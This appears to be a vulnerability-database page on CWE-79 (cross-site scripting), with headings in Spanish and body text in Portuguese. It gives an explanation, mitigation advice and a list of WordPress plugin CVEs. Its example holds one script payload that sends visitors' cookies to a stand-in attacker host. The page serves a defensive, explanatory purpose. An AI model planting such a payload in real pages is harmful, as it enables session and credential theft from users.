Fallos del tipo CWE-79

29.962 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-30574MEDIUMWordPress Mobile Navigation plugin <= - 1.5 Cross Site Scripting (XSS) VulnerabilityEPSS 0.4%CVE-2024-52462HIGHWordPress WP e-Commerce Style Email plugin <= 0.6.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-34369HIGHWordPress Web Push Notifications – Webpushr plugin <= 4.35.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-12496MEDIUMLinear <= 2.7.12 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-30195HIGHWordPress New RoyalSlider plugin <= 3.4.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-33645HIGHWordPress Easy Set Favicon plugin <= 1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-24700HIGHWordPress WP Editor plugin <= 1.2.8 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-29091HIGHWordPress WP Armour plugin <= 2.1.13 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-31084HIGHWordPress Weekly Class Schedule plugin <= 3.19 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-72747MEDIUMAVideo Stored Cross-Site Scripting via Unauthenticated RegistrationEPSS 0.4%CVE-2024-32695HIGHWordPress Language Switcher for Transposh plugin <= 1.5.9 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-31110HIGHWordPress Contact Form 7 Newsletter plugin <= 2.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-54328HIGHWordPress Invoice Payment for WooCommerce plugin <= 1.7.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-30799MEDIUMWordPress WP Google Street View plugin <= 1.1.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-32533HIGHWordPress LH Add Media From Url plugin <= 1.22 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-54342HIGHWordPress Staggs plugin <= 2.0.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-24681MEDIUMWordPress Product Carousel Slider & Grid Ultimate for WooCommerce Plugin <= 1.10.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-47184MEDIUMWordPress Admin Bar & Dashboard Access Control Plugin <= 1.2.8 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-52460HIGHWordPress AtaraPay WooCommerce Payment Gateway plugin <= 2.0.13 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-54327HIGHWordPress UNIVERSAM plugin < 8.59 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%